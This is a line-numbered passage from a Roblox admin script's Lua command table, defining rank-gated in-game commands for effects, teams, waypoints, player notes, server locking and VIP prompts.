7627 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7628 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7629 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7630 Obj:Destroy()
7631 end
7632 end
7633 end};
7634
7635 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7636 local Players = STRING:Scan(Arguments[1], Speaker)
7637 for _,Player in pairs(Players) do
7638 if Player.Character and Player.Character:FindFirstChild("Torso") then
7639 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7640 end
7641 end
7642 end};
7643
7644 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7645 local Players = STRING:Scan(Arguments[1], Speaker)
7646 for _,Player in pairs(Players) do
7647 if Player.Character and Player.Character:FindFirstChild("Torso") then
7648 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7649 end
7650 end
7651 end};
7652
7653 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7654 local Players = STRING:Scan(Arguments[1], Speaker)
7655 for _,Player in pairs(Players) do
7656 if Player.Character and Player.Character:FindFirstChild("Torso") then
7657 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7658 end
7659 end
7660 end};
7661
7662 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7663 local Players = STRING:Scan(Arguments[1], Speaker)
7664 for _,Player in pairs(Players) do
7665 if Player.Character and Player.Character:FindFirstChild("Torso") then
7666 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7667 if Get:IsA("Sparkles") then
7668 Get:Destroy()
7669 end
7670 end
7671 end
7672 end
7673 end};
7674
7675 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7676 local Players = STRING:Scan(Arguments[1], Speaker)
7677 for _,Player in pairs(Players) do
7678 if Player.Character and Player.Character:FindFirstChild("Torso") then
7679 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7680 if Get:IsA("Fire") then
7681 Get:Destroy()
7682 end
7683 end
7684 end
7685 end
7686 end};
7687
7688 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7689 local Players = STRING:Scan(Arguments[1], Speaker)
7690 for _,Player in pairs(Players) do
7691 if Player.Character and Player.Character:FindFirstChild("Torso") then
7692 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7693 if Get:IsA("Smoke") then
7694 Get:Destroy()
7695 end
7696 end
7697 end
7698 end
7699 end};
7700
7701 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7702 local Players = STRING:Scan(Arguments[1], Speaker)
7703 for _,Player in pairs(Players) do
7704 if Player.Character and Player.Character:FindFirstChild("Torso") then
7705 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7706 local Boom = Instance.new("Explosion", Workspace)
7707 Boom.Position = Player.Character.Torso.Position
7708 end
7709 end
7710 end};
7711
7712 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7713 local Players = STRING:Scan(Arguments[1], Speaker)
7714 for _,Player in pairs(Players) do
7715 if Player.Character and Player.Character:FindFirstChild("Torso") then
7716 coroutine.wrap(function() for i = 1,50 do
7717 local Boom = Instance.new("Explosion", Workspace)
7718 Boom.Position = Player.Character.Torso.Position
7719 wait()
7720 end end)()
7721 coroutine.wrap(function() for i = 1,5 do
7722 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7723 end end)()
7724 end
7725 end
7726 end};
7727
7728 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7729 local Players = STRING:Scan(Arguments[1], Speaker)
7730 for _,Player in pairs(Players) do
7731 if Player.Character and Player.Character:FindFirstChild("Torso") then
7732 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7733 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7734 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7735 end
7736 end
7737 end};
7738
7739 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7740 local Players = STRING:Scan(Arguments[1], Speaker)
7741 for _,Player in pairs(Players) do
7742 if Player.Character and Player.Character:FindFirstChild("Torso") then
7743 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7744 end
7745 end
7746 end};
7747
7748 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7749 local Players = STRING:Scan(Arguments[1], Speaker)
7750 for _,Player in pairs(Players) do
7751 if Player.Character then
7752 Player.Character.Parent = Server.Lighting
7753 end
7754 end
7755 end};
7756
7757 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7758 local Players = STRING:Scan(Arguments[1], Speaker)
7759 for _,Player in pairs(Players) do
7760 if Player.Character then
7761 Player.Character.Parent = Server.Workspace
7762 Player.Character:MakeJoints()
7763 end
7764 end
7765 end};
7766
7767 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7768 local Players = STRING:Scan(Arguments[1], Speaker)
7769 for _,Player in pairs(Players) do
7770 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7771 Player.Character.Humanoid.PlatformStand = true
7772 end
7773 end
7774 end};
7775
7776 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7777 local Players = STRING:Scan(Arguments[1], Speaker)
7778 for _,Player in pairs(Players) do
7779 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7780 Player.Character.Humanoid.PlatformStand = false
7781 end
7782 end
7783 end};
7784
7785 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7786 local Players = STRING:Scan(Arguments[1], Speaker)
7787 for _,Player in pairs(Players) do
7788 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7789 Player.Character.Humanoid.Jump = true
7790 end
7791 end
7792 end};
7793
7794 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7795 local Players = STRING:Scan(Arguments[1], Speaker)
7796 for _,Player in pairs(Players) do
7797 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7798 Player.Character.Humanoid.Sit = true
7799 end
7800 end
7801 end};
7802
7803 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7804 local Players = STRING:Scan(Arguments[1], Speaker)
7805 for _,Player in pairs(Players) do
7806 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7807 Player.Character.Humanoid.Sit = false
7808 end
7809 end
7810 end};
7811
7812 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7813 local Players = STRING:Scan(Arguments[1], Speaker)
7814 for _,Player in pairs(Players) do
7815 if Player.Character and Player.Character:FindFirstChild("Torso") then
7816 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7817 end
7818 end
7819 end};
7820
7821 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7822 local Players = STRING:Scan(Arguments[1], Speaker)
7823 for _,Player in pairs(Players) do
7824 if Player.Character and Player.Character:FindFirstChild("Torso") then
7825 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7826 end
7827 end
7828 end};
7829
7830 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7831 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7832 end};
7833
7834 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7835 local Color = "Blue"
7836 local String = Arguments[2]
7837 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7838 if #ChatSplit >= 2 then
7839 if string.lower(ChatSplit[1]) == "green" then
7840 Color = "Green"
7841 String = ChatSplit[2]
7842 elseif string.lower(ChatSplit[1]) == "red" then
7843 Color = "Red"
7844 String = ChatSplit[2]
7845 end
7846 end
7847 local Players = STRING:Scan(Arguments[1], Speaker)
7848 for _,Player in pairs(Players) do
7849 if Player.Character and Player.Character:FindFirstChild("Head") then
7850 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7851 end
7852 end
7853 end};
7854
7855 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7856 local Players = STRING:Scan(Arguments[1], Speaker)
7857 for _,Player in pairs(Players) do
7858 if Player.Character then
7859 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7860 end
7861 end
7862 end};
7863
7864 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7865 local Players = STRING:Scan(Arguments[1], Speaker)
7866 local ID = nil
7867 if tonumber(Arguments[2]) ~= nil then
7868 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7869 else
7870 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7871 for _,Face in pairs(FaceTable) do
7872 if string.lower(Arguments[2]) == string.lower(Face) then
7873 ID = FaceID
7874 break
7875 end
7876 end
7877 end
7878 end
7879 if ID then
7880 for _,Player in pairs(Players) do
7881 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7882 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7883 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7884 end
7885 end
7886 end
7887 end};
7888
7889 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7890 local Players = STRING:Scan(Arguments[1], Speaker)
7891 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7892 for _,Player in pairs(Players) do
7893 if Player.Character and Player.Character:FindFirstChild("Head") then
7894 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7895 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7896 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7897 end
7898 end
7899 end};
7900
7901 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7902 local Players = STRING:Scan(Arguments[1], Speaker)
7903 for _,Player in pairs(Players) do
7904 if Player.Character and Player.Character:FindFirstChild("Head") then
7905 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7906 end
7907 end
7908 end};
7909
7910 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7911 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7912 end, Http = true};
7913
7914 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7915 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7916 end, Http = true};
7917
7918 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7919 local Players = STRING:Scan(Arguments[1], Speaker)
7920 for _,Player in pairs(Players) do
7921 local ExistingData = Player:LoadInstance("Data")
7922 if ExistingData == nil then
7923 ExistingData = Instance.new("Configuration")
7924 end
7925 ExistingData.Name = "Player Data"
7926 local Key = Instance.new("Configuration", ExistingData)
7927 Key.Name = Arguments[2]
7928 Player:SaveInstance("Data", ExistingData)
7929 end
7930 end};
7931
7932 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7933 local Players = STRING:Scan(Arguments[1], Speaker)
7934 local Data = Arguments[2]
7935 for _,Player in pairs(Players) do
7936 local ExistingData = Player:LoadInstance("Data")
7937 if ExistingData ~= nil then
7938 if string.lower(Data) == "all" then
7939 ExistingData:ClearAllChildren()
7940 else
7941 for _,DataObj in pairs(ExistingData:GetChildren()) do
7942 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7943 DataObj:Destroy()
7944 end
7945 end
7946 end
7947 end
7948 Player:SaveInstance("Data", ExistingData)
7949 end
7950 end};
7951
7952 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7953 local Players = STRING:Scan(Arguments[1], Speaker)
7954 local DataSet = {}
7955 for _,Player in pairs(Players) do
7956 local ExistingData = Player:LoadInstance("Data")
7957 if ExistingData ~= nil then
7958 if #ExistingData:GetChildren() ~= 0 then
7959 for _,Data in pairs(ExistingData:GetChildren()) do
7960 table.insert(DataSet, Player.Name..": "..Data.Name)
7961 end
7962 else
7963 table.insert(DataSet, "Data does not exist for "..Player.Name)
7964 end
7965 else
7966 table.insert(DataSet, "Data does not exist for "..Player.Name)
7967 end
7968 end
7969 GUI:ListGui(Speaker, "Notes", DataSet)
7970 end};
7971
7972 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7973 local Players = STRING:Scan(Arguments[1], Speaker)
7974 for _,Player in pairs(Players) do
7975 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7976 Player.Character.Humanoid.WalkSpeed = 16
7977 end
7978 end
7979 end};
7980
7981 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7982 local Players = STRING:Scan(Arguments[1], Speaker)
7983 for _,Player in pairs(Players) do
7984 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7985 Player.Character.Humanoid.WalkSpeed = -16
7986 end
7987 end
7988 end};
7989
7990 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7991 local TeamColor = BrickColor.random()
7992 local TeamName = Arguments[1]
7993 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7994 if #TeamNameSplit >= 2 then
7995 local Color = TeamNameSplit[1]
7996 local NewTeamName = TeamNameSplit[2]
7997 if Color == "Medium stone grey" then
7998 TeamColor = BrickColor.new(Color)
7999 TeamName = NewTeamName
8000 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
8001 TeamColor = BrickColor.new(Color)
8002 TeamName = NewTeamName
8003 elseif Colors[string.upper(Color)] then
8004 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
8005 TeamName = NewTeamName
8006 end
8007 end
8008
8009 local NewTeam = Instance.new("Team", Server.Teams)
8010 NewTeam.TeamColor = TeamColor
8011 NewTeam.Name = TeamName
8012 end};
8013
8014 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8015 local Players = STRING:Scan(Arguments[1], Speaker)
8016 for _,Player in pairs(Players) do
8017 Player.Neutral = true
8018 end
8019 end};
8020
8021 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8022 local Players = STRING:Scan(Arguments[1], Speaker)
8023 if string.lower(Arguments[2]) == "none" then
8024 for _,Player in pairs(Players) do
8025 Player.Neutral = true
8026 end
8027 else
8028 for _,Obj in pairs(Server.Teams:GetChildren()) do
8029 if Obj:IsA("Team") then
8030 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8031 for _,Player in pairs(Players) do
8032 Player.Neutral = false
8033 Player.TeamColor = Obj.TeamColor
8034 end
8035 end
8036 end
8037 end
8038 end
8039 end};
8040
8041 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8042 for _,Obj in pairs(Server.Teams:GetChildren()) do
8043 if Obj:IsA("Team") then
8044 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8045 for _,Player in pairs(Server.Players:GetPlayers()) do
8046 if Player.TeamColor == Obj.TeamColor then
8047 Player.Neutral = true
8048 end
8049 end
8050 Obj:Destroy()
8051 end
8052 end
8053 end
8054 end};
8055
8056 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8057 for _,Player in pairs(Server.Players:GetPlayers()) do
8058 Player.Neutral = true
8059 end
8060 for _,Obj in pairs(Server.Teams:GetChildren()) do
8061 if Obj:IsA("Team") then
8062 Obj:Destroy()
8063 end
8064 end
8065 end};
8066
8067 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8068 for _,Player in pairs(Server.Players:GetPlayers()) do
8069 GUI:Countdown(Player, Arguments[1])
8070 end
8071 end};
8072
8073 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8074 local Players = STRING:Scan(Arguments[1], Speaker)
8075 for _,Player in pairs(Players) do
8076 if Player:FindFirstChild("Backpack") then
8077 CORE:ExecuteResource("ShowAd", Player.Backpack)
8078 end
8079 end
8080 end};
8081
8082 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8083 local Players = STRING:Scan(Arguments[1], Speaker)
8084 for _,Player in pairs(Players) do
8085 if Player.Character then
8086 for PosName,WP in pairs(Waypoints) do
8087 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8088 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8089 break
8090 end
8091 end
8092 end
8093 end
8094 end};
8095
8096 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8097 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8098 end};
8099
8100 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8101 local Num = 0
8102 for PosName,WP in pairs(Waypoints) do
8103 Num = Num + 1
8104 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8105 Waypoints[PosName] = nil
8106 end
8107 end
8108 end};
8109
8110 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8111 local WaypointHolder,WaypointRaw = {},{}
8112 for Name, WP in pairs(Waypoints) do
8113 local View = Name..": "..tostring(WP)
8114 table.insert(WaypointHolder, View)
8115 WaypointRaw[View] = WP
8116 end
8117 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8118 Clicked.Event:connect(function(Text)
8119 local Waypoint = WaypointRaw[Text]
8120 if Waypoint then
8121 if Speaker.Character then
8122 Speaker.Character:MoveTo(Waypoint)
8123 end
8124 end
8125 end)
8126 end};
8127
8128 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8129 local Players = STRING:Scan(Arguments[1], Speaker)
8130 local List = {}
8131 for _,Player in pairs(Players) do
8132 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8133 end
8134 GUI:ListGui(Speaker, "Listed Players", List)
8135 end};
8136
8137 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8138 if tonumber(Arguments[1]) then
8139 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8140 else
8141 local Players = STRING:Scan(Arguments[1], Speaker)
8142 for _,Player in pairs(Players) do
8143 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8144 end
8145 end
8146 end};
8147
8148 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8149 local Players = STRING:Scan(Arguments[1], Speaker)
8150 local Friends,OneFriend = {}, false
8151 for _,Player in pairs(Players) do
8152 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8153 --[[if Player:IsBestFriendsWith(User.UserId) then
8154 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8155 OneFriend = true
8156 ]]
8157 if Player:IsFriendsWith(User.UserId) then
8158 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8159 OneFriend = true
8160 end
8161 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8162 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8163 end
8164 end end
8165 end
8166 GUI:ListGui(Speaker, "Friend List", Friends)
8167 end};
8168
8169 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8170 Settings.ServerLocked = true
8171 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8172 end};
8173
8174 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8175 Settings.ServerLocked = false
8176 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8177 end};
8178
8179 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8180 local OldAge = Settings.MinimumAge
8181 local Age = tostring(Arguments[1])
8182 if Age then
8183 Settings.MinimumAge = Age
8184 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8185 end
8186 end};
8187
8188 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8189 if Settings.VIPAdminID <= 1 then
8190 MARKET:PromptPurchase(Speaker, VIPAdminID)
8191 else
8192 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8193 end
8194 end};
8195
8196 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8197 if Settings.VIPMemberID <= 1 then
8198 MARKET:PromptPurchase(Speaker, VIPMemberID)
8199 else
8200 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8201 end
8202 end};
8203
8204 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8205 if tonumber(Arguments[2]) then
8206 local Players = STRING:Scan(Arguments[1], Speaker)
8207 local Size = tonumber(Arguments[2])+25
8208 for _,Player in pairs(Players) do
8209 if Player.Character then
8210 if Player.Character:FindFirstChild("Head") then
8211 if Player.Character.Head:FindFirstChild("Mesh") then
8212 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8213 end
8214 end
8215 end
8216 end
8217 end
8218 end};
8219
8220 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8221 local Players = STRING:Scan(Arguments[1], Speaker)
8222 for _,Player in pairs(Players) do
8223 if Player.Character and Player.Character:FindFirstChild("Torso") then
8224 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8225 Player.Character.Parent = nil
8226 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8227 end
8228 end
8229 end};
8230
8231 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8232 GUI:SettingsGui(Speaker)
8233 end};
8234
8235 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8236 if tonumber(Arguments[2]) then
8237 local Players = STRING:Scan(Arguments[1], Speaker)
8238 local List = {}
8239 for _,Player in pairs(Players) do
8240 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8241 table.insert(List, Player.Name)
8242 end
8243 end
8244 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8245 end
8246 end};
8247
8248 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8249 local Players = STRING:Scan(Arguments[1], Speaker)
8250 for _,Player in pairs(Players) do
8251 if Player.Character and Player.Character:FindFirstChild("Head") then
8252 local Char = Player.Character
8253 Char:BreakJoints()
8254 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8255 Obj.Anchored = true
8256 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8257 local Decal = Instance.new("Decal", Obj)
8258 Decal.Texture = "rbxassetid://178913323"
8259 Decal.Face = Face
8260 end
8261 end)
8262 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8263 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8264 Sound1:Play() Sound2:Play()
8265 coroutine.wrap(function()
8266 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8267 repeat wait()
8268 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8269 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8270 Obj.Transparency = math.random(0,30)/100
8271 Obj.Reflectance = math.random(0,50)/100
8272 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8273 end)
8274 until Char ~= Player.Character or Char.Parent == nil
8275 end)()
8276 end
8277 end
8278 end, Hidden = true};
8279
8280 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8281 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8282 end, Http = true};
8283
8284 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8285 local Players = STRING:Scan(Arguments[1], Speaker)
8286 for _,Player in pairs(Players) do
8287 if Player.Character then
8288 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8289 Obj.Material = "Neon"
8290 end)
8291 end
8292 end
8293 end};
8294
8295 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8296 local Players = STRING:Scan(Arguments[1], Speaker)
8297 for _,Player in pairs(Players) do
